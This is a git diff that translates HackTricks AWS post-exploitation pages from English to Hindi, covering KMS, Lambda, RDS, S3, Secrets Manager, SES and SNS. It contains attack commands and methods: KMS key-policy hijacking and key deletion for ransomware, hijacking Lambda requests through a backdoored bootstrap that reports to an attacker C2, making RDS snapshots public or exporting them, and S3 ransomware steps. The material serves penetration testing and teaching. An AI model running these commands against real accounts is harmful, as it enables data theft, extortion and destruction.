--output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - -- Using a **asymmetric** key: - +- एक **asymmetric** कुंजी का उपयोग करना: ```bash # Encrypt data aws kms encrypt \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --plaintext fileb:///tmp/hello.txt \ - --output text \ - --query CiphertextBlob | base64 \ - --decode > ExampleEncryptedFile +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ - --ciphertext-blob fileb://ExampleEncryptedFile \ - --encryption-algorithm RSAES_OAEP_SHA_256 \ - --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ - --output text \ - --query Plaintext | base64 \ - --decode +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode ``` - ### KMS Ransomware -An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account. +एक हमलावर जिसके पास KMS पर विशेषाधिकार प्राप्त है, वह कुंजियों की KMS नीति को संशोधित कर सकता है और **अपने खाते को उन पर पहुंच प्रदान कर सकता है**, वैध खाते को दी गई पहुंच को हटा सकता है। -Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account. +फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं प्राप्त कर सकेंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैनसमवेयर बन जाएगा। > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> ध्यान दें कि **AWS प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं हैं**, केवल **ग्राहक प्रबंधित कुंजियाँ**। +> इसके अलावा, यह ध्यान दें कि पैरामीटर **`--bypass-policy-lockout-safety-check`** का उपयोग करना आवश्यक है (वेब कंसोल में इस विकल्प की कमी इस हमले को केवल CLI से संभव बनाती है)। ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ - --policy-name default \ - --policy file:///tmp/policy.yaml \ - --bypass-policy-lockout-safety-check +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check { - "Id": "key-consolepolicy-3", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**. +> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को पहुंच देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं **जिससे मूल खाते को फिर से पहुंच मिले, तो आप सक्षम नहीं होंगे**।
@@ -106,32 +100,26 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ #### Global KMS Ransomware -There is another way to perform a global KMS Ransomware, which would involve the following steps: +एक वैश्विक KMS Ransomware करने का एक और तरीका है, जिसमें निम्नलिखित चरण शामिल होंगे: -- Create a new **key with a key material** imported by the attacker -- **Re-encrypt older data** encrypted with the previous version with the new one. -- **Delete the KMS key** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data +- एक नया **की बनाएं जिसमें एक की सामग्री** हमलावर द्वारा आयात की गई हो +- **पुराने डेटा को फिर से एन्क्रिप्ट करें** जो पिछले संस्करण के साथ एन्क्रिप्ट किया गया था, नए के साथ। +- **KMS की को हटाएं** +- अब केवल हमलावर, जिसके पास मूल की सामग्री है, एन्क्रिप्टेड डेटा को डिक्रिप्ट करने में सक्षम होगा ### Destroy keys - ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ - --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ - --pending-window-in-days 7 +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 ``` - > [!CAUTION] -> Note that AWS now **prevents the previous actions from being performed from a cross account:** +> ध्यान दें कि AWS अब **पिछले कार्यों को क्रॉस अकाउंट से किए जाने से रोकता है:**
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5f25c205a..39e4799bf 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,30 +4,26 @@ ## Lambda -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Steal Others Lambda URL Requests +### दूसरों के Lambda URL अनुरोध चुराना -If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. +यदि एक हमलावर किसी तरह Lambda के अंदर RCE प्राप्त करने में सफल हो जाता है, तो वह अन्य उपयोगकर्ताओं के HTTP अनुरोधों को Lambda के लिए चुरा सकेगा। यदि अनुरोधों में संवेदनशील जानकारी (कुकीज़, क्रेडेंशियल्स...) होती है, तो वह उन्हें चुरा सकेगा। {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Steal Others Lambda URL Requests & Extensions Requests +### दूसरों के Lambda URL अनुरोध और एक्सटेंशन अनुरोध चुराना -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Lambda लेयर्स का दुरुपयोग करके एक्सटेंशन का दुरुपयोग करना और Lambda में स्थायी रहना संभव है, बल्कि अनुरोधों को चुराना और संशोधित करना भी संभव है। {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index bc93fe53a..90bbc7f7f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -1,42 +1,41 @@ -# AWS - Steal Lambda Requests +# AWS - Lambda अनुरोध चुराना {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Flow +## Lambda प्रवाह

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process. -2. The init process listens on port **9001** exposing some interesting endpoints: - - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event - - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke - - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error -3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**). -4. Finally, **bootstrap.py** sends to init the **response** +1. **Slicer** एक प्रक्रिया है जो कंटेनर के बाहर है जो **invocations** को **init** प्रक्रिया को **भेजती** है। +2. Init प्रक्रिया पोर्ट **9001** पर सुनती है जो कुछ दिलचस्प एंडपॉइंट्स को उजागर करती है: +- **`/2018-06-01/runtime/invocation/next`** – अगली invocation घटना प्राप्त करें +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – invoke के लिए हैंडलर प्रतिक्रिया लौटाएं +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – एक निष्पादन त्रुटि लौटाएं +3. **bootstrap.py** एक लूप में init प्रक्रिया से invocations प्राप्त करता है और उन्हें संभालने के लिए उपयोगकर्ता के कोड को कॉल करता है (**`/next`**). +4. अंत में, **bootstrap.py** init को **response** भेजता है -Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process. +ध्यान दें कि bootstrap उपयोगकर्ता के कोड को एक मॉड्यूल के रूप में लोड करता है, इसलिए उपयोगकर्ता के कोड द्वारा किया गया कोई भी कोड निष्पादन वास्तव में इस प्रक्रिया में हो रहा है। -## Stealing Lambda Requests +## Lambda अनुरोध चुराना -The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process. +इस हमले का लक्ष्य उपयोगकर्ता के कोड को एक दुर्भावनापूर्ण **`bootstrap.py`** प्रक्रिया को निष्पादित करना है जो उस **`bootstrap.py`** प्रक्रिया के अंदर है जो कमजोर अनुरोध को संभालती है। इस तरह, **दुर्भावनापूर्ण bootstrap** प्रक्रिया **init प्रक्रिया** के साथ **बातचीत** करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि **वैध** bootstrap **फंसी** हुई है जो दुर्भावनापूर्ण को चला रही है, इसलिए यह init प्रक्रिया से अनुरोध नहीं मांगेगी। -This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could: +यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध **`bootstrap.py`** प्रक्रिया द्वारा निष्पादित हो रहा है। इसलिए हमलावर कर सकता है: -- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations. - - A request must be sent to **`/${invoke-id}/response`** - - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Execute a malicious **`boostrap.py`** which will handle the next invocations - - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual. - - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation. +- **Init प्रक्रिया को वर्तमान invocation का एक नकली परिणाम भेजें**, ताकि init सोचता है कि bootstrap प्रक्रिया अधिक invocations की प्रतीक्षा कर रही है। +- एक अनुरोध **`/${invoke-id}/response`** पर भेजा जाना चाहिए +- Invoke-id को वैध **`bootstrap.py`** प्रक्रिया के स्टैक से [**inspect**](https://docs.python.org/3/library/inspect.html) पायथन मॉड्यूल का उपयोग करके प्राप्त किया जा सकता है (जैसा कि [यहां प्रस्तावित है](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) या बस इसे फिर से **`/2018-06-01/runtime/invocation/next`** पर अनुरोध करके प्राप्त किया जा सकता है (जैसा कि [यहां प्रस्तावित है](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- अगली invocations को संभालने के लिए एक दुर्भावनापूर्ण **`boostrap.py`** निष्पादित करें +- छिपने के उद्देश्यों के लिए, हमलावर द्वारा नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालना। +- इस हमले के लिए, **`bootstrap.py`** का मूल कोड सिस्टम से या [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) से प्राप्त करना, दुर्भावनापूर्ण कोड जोड़ना और इसे वर्तमान lambda invocation से चलाना पर्याप्त है। -### Attack Steps +### हमले के चरण -1. Find a **RCE** vulnerability. -2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) -3. **Execute** the malicious bootstrap. - -You can easily perform these actions running: +1. एक **RCE** भेद्यता खोजें। +2. एक **दुर्भावनापूर्ण** **bootstrap** उत्पन्न करें (जैसे [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) +3. **दुर्भावनापूर्ण bootstrap** निष्पादित करें। +आप इन कार्यों को आसानी से चलाकर कर सकते हैं: ```bash python3 < \ - --db-subnet-group-name \ - --publicly-accessible \ - --vpc-security-group-ids +--db-instance-identifier "new-db-not-malicious" \ +--db-snapshot-identifier \ +--db-subnet-group-name \ +--publicly-accessible \ +--vpc-security-group-ids aws rds modify-db-instance \ - --db-instance-identifier "new-db-not-malicious" \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier "new-db-not-malicious" \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # Connect to the new DB after a few mins ``` - ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -An attacker with these permissions could **create an snapshot of a DB** and make it **publicly** **available**. Then, he could just create in his own account a DB from that snapshot. - -If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**. +इन अनुमतियों के साथ एक हमलावर **DB का स्नैपशॉट बना सकता है** और इसे **सार्वजनिक रूप से** **उपलब्ध** कर सकता है। फिर, वह उस स्नैपशॉट से अपने खाते में एक DB बना सकता है। +यदि हमलावर के पास **`rds:CreateDBSnapshot`** नहीं है, तो भी वह **अन्य** बनाए गए स्नैपशॉट्स को **सार्वजनिक** बना सकता है। ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -54,43 +51,32 @@ aws rds create-db-snapshot --db-instance-identifier --d aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"} ``` - ### `rds:DownloadDBLogFilePortion` -An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions. - +`rds:DownloadDBLogFilePortion` अनुमति वाला एक हमलावर **RDS इंस्टेंस के लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग करके अपनी विशेषाधिकारों को बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है। ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` - -**Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials. +**संभावित प्रभाव**: संवेदनशील जानकारी तक पहुँच या लीक किए गए क्रेडेंशियल्स का उपयोग करके अनधिकृत क्रियाएँ। ### `rds:DeleteDBInstance` -An attacker with these permissions can **DoS existing RDS instances**. - +इन अनुमतियों के साथ एक हमलावर **मौजूदा RDS इंस्टेंस को DoS कर सकता है**। ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` - -**Potential impact**: Deletion of existing RDS instances, and potential loss of data. +**संभावित प्रभाव**: मौजूदा RDS उदाहरणों का हटाना, और डेटा का संभावित नुकसान। ### `rds:StartExportTask` > [!NOTE] -> TODO: Test - -An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot. +> TODO: परीक्षण करें +इस अनुमति के साथ एक हमलावर **RDS उदाहरण स्नैपशॉट को S3 बकेट में निर्यात कर सकता है**। यदि हमलावर के पास गंतव्य S3 बकेट पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट के भीतर संवेदनशील डेटा तक पहुंच प्राप्त कर सकते हैं। ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` - -**Potential impact**: Access to sensitive data in the exported snapshot. +**संभावित प्रभाव**: निर्यातित स्नैपशॉट में संवेदनशील डेटा तक पहुंच। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 16cc52f27..22f5735ec 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -1,42 +1,38 @@ -# AWS - S3 Post Exploitation +# AWS - S3 पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## S3 -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Sensitive Information +### संवेदनशील जानकारी -Sometimes you will be able to find sensitive information in readable in the buckets. For example, terraform state secrets. +कभी-कभी आप बकेट में पढ़ने योग्य संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, टेराफॉर्म राज्य रहस्य। -### Pivoting +### पिवोटिंग -Different platforms could be using S3 to store sensitive assets.\ -For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files. +विभिन्न प्लेटफार्म S3 का उपयोग संवेदनशील संपत्तियों को स्टोर करने के लिए कर सकते हैं।\ +उदाहरण के लिए, **airflow** वहां **DAGs** **कोड** स्टोर कर सकता है, या **वेब पेज** सीधे S3 से सर्व किए जा सकते हैं। लिखने की अनुमति वाले हमलावर बकेट से **कोड को संशोधित** कर सकते हैं ताकि अन्य प्लेटफार्मों पर **पिवोट** किया जा सके, या JS फ़ाइलों को संशोधित करके **खातों पर नियंत्रण** प्राप्त कर सकें। -### S3 Ransomware +### S3 रैनसमवेयर -In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. +इस परिदृश्य में, **हमलावर अपने AWS खाते** या किसी अन्य समझौता किए गए खाते में एक KMS (की प्रबंधन सेवा) कुंजी बनाता है। फिर वे इस **कुंजी को दुनिया में किसी के लिए भी सुलभ बनाते हैं**, जिससे कोई भी AWS उपयोगकर्ता, भूमिका, या खाता इस कुंजी का उपयोग करके वस्तुओं को एन्क्रिप्ट कर सकता है। हालाँकि, वस्तुओं को डिक्रिप्ट नहीं किया जा सकता। -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +हमलावर एक लक्षित **S3 बकेट की पहचान करता है और इसे लिखने के स्तर तक पहुंच प्राप्त करता है** विभिन्न तरीकों का उपयोग करके। यह खराब बकेट कॉन्फ़िगरेशन के कारण हो सकता है जो इसे सार्वजनिक रूप से उजागर करता है या हमलावर को AWS वातावरण तक पहुंच प्राप्त होती है। हमलावर आमतौर पर उन बकेटों को लक्षित करता है जिनमें संवेदनशील जानकारी होती है जैसे व्यक्तिगत पहचान योग्य जानकारी (PII), संरक्षित स्वास्थ्य जानकारी (PHI), लॉग, बैकअप, और अधिक। -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +यह निर्धारित करने के लिए कि क्या बकेट रैनसमवेयर के लिए लक्षित किया जा सकता है, हमलावर इसकी कॉन्फ़िगरेशन की जांच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 ऑब्जेक्ट वर्जनिंग** सक्षम है और क्या **मल्टी-फैक्टर ऑथेंटिकेशन डिलीट (MFA डिलीट) सक्षम है**। यदि ऑब्जेक्ट वर्जनिंग सक्षम नहीं है, तो हमलावर आगे बढ़ सकता है। यदि ऑब्जेक्ट वर्जनिंग सक्षम है लेकिन MFA डिलीट अक्षम है, तो हमलावर **ऑब्जेक्ट वर्जनिंग को अक्षम कर सकता है**। यदि दोनों ऑब्जेक्ट वर्जनिंग और MFA डिलीट सक्षम हैं, तो हमलावर के लिए उस विशेष बकेट को रैनसमवेयर करना अधिक कठिन हो जाता है। -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +AWS API का उपयोग करते हुए, हमलावर **बकेट में प्रत्येक ऑब्जेक्ट को उनके KMS कुंजी का उपयोग करके एन्क्रिप्टेड कॉपी से बदलता है**। इससे बकेट में डेटा को एन्क्रिप्ट किया जाता है, जिससे कुंजी के बिना इसे एक्सेस करना असंभव हो जाता है। -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +अधिक दबाव डालने के लिए, हमलावर हमले में उपयोग की गई KMS कुंजी के हटाने का कार्यक्रम निर्धारित करता है। यह लक्षित को कुंजी हटाए जाने से पहले अपने डेटा को पुनर्प्राप्त करने के लिए 7-दिन की विंडो देता है और डेटा स्थायी रूप से खो जाता है। -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +अंत में, हमलावर एक अंतिम फ़ाइल अपलोड कर सकता है, जिसे आमतौर पर "ransom-note.txt" नाम दिया जाता है, जिसमें लक्षित के लिए उनके फ़ाइलों को पुनर्प्राप्त करने के लिए निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः लक्षित का ध्यान आकर्षित करने और उन्हें रैनसमवेयर हमले के बारे में जागरूक करने के लिए। -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**अधिक जानकारी के लिए** [**मूल शोध देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**।** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..37773ec8d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,42 +12,32 @@ For more information check: ### Read Secrets -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +**गुप्त स्वयं संवेदनशील जानकारी हैं**, [प्रिवेस्क पृष्ठ देखें](../aws-privilege-escalation/aws-secrets-manager-privesc.md) यह जानने के लिए कि उन्हें कैसे पढ़ें। ### DoS Change Secret Value -Changing the value of the secret you could **DoS all the system that depends on that value.** +गुप्त के मान को बदलने से आप **उस मान पर निर्भर सभी सिस्टम को DoS कर सकते हैं।** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> ध्यान दें कि पिछले मान भी संग्रहीत होते हैं, इसलिए पिछले मान पर वापस जाना आसान है। ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS KMS कुंजी बदलें ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS Secret हटाना -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +गुप्त को हटाने के लिए न्यूनतम दिनों की संख्या 7 है ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..845f86c77 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SES Post Exploitation +# AWS - SES पोस्ट एक्सप्लॉइटेशन {{#include ../../../banners/hacktricks-training.md}} ## SES -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,56 @@ For more information check: ### `ses:SendEmail` -Send an email. - +एक ईमेल भेजें। ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - -Still to test. +अभी परीक्षण करना बाकी है। ### `ses:SendRawEmail` -Send an email. - +एक ईमेल भेजें। ```bash aws ses send-raw-email --raw-message file://message.json ``` - -Still to test. +अभी परीक्षण करना बाकी है। ### `ses:SendTemplatedEmail` -Send an email based on a template. - +एक टेम्पलेट के आधार पर एक ईमेल भेजें। ```bash aws ses send-templated-email --source --destination --template ``` - -Still to test. +अभी परीक्षण करना बाकी है। ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +कई गंतव्यों पर एक ईमेल भेजें ```bash aws ses send-bulk-templated-email --source --template ``` - -Still to test. +अभी परीक्षण करना बाकी है। ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +कई गंतव्यों पर एक ईमेल भेजें। ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +एक **बाउंस ईमेल** भेजें जो प्राप्त ईमेल पर हो (यह संकेत करते हुए कि ईमेल प्राप्त नहीं किया जा सका)। यह केवल **ईमेल प्राप्त करने के 24 घंटे के भीतर** किया जा सकता है। ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - -Still to test. - ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +यह एक कस्टमाइज्ड वेरिफिकेशन ईमेल भेजेगा। आपको टेम्पलेट ईमेल बनाने के लिए भी अनुमतियों की आवश्यकता हो सकती है। ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +अभी परीक्षण करना बाकी है। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..0b8c5085f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -4,7 +4,7 @@ ## SNS -For more information: +अधिक जानकारी के लिए: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,73 +12,57 @@ For more information: ### Disrupt Messages -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +कई मामलों में, SNS विषयों का उपयोग उन प्लेटफार्मों को संदेश भेजने के लिए किया जाता है जो निगरानी में हैं (ईमेल, स्लैक संदेश...)। यदि एक हमलावर उन संदेशों को 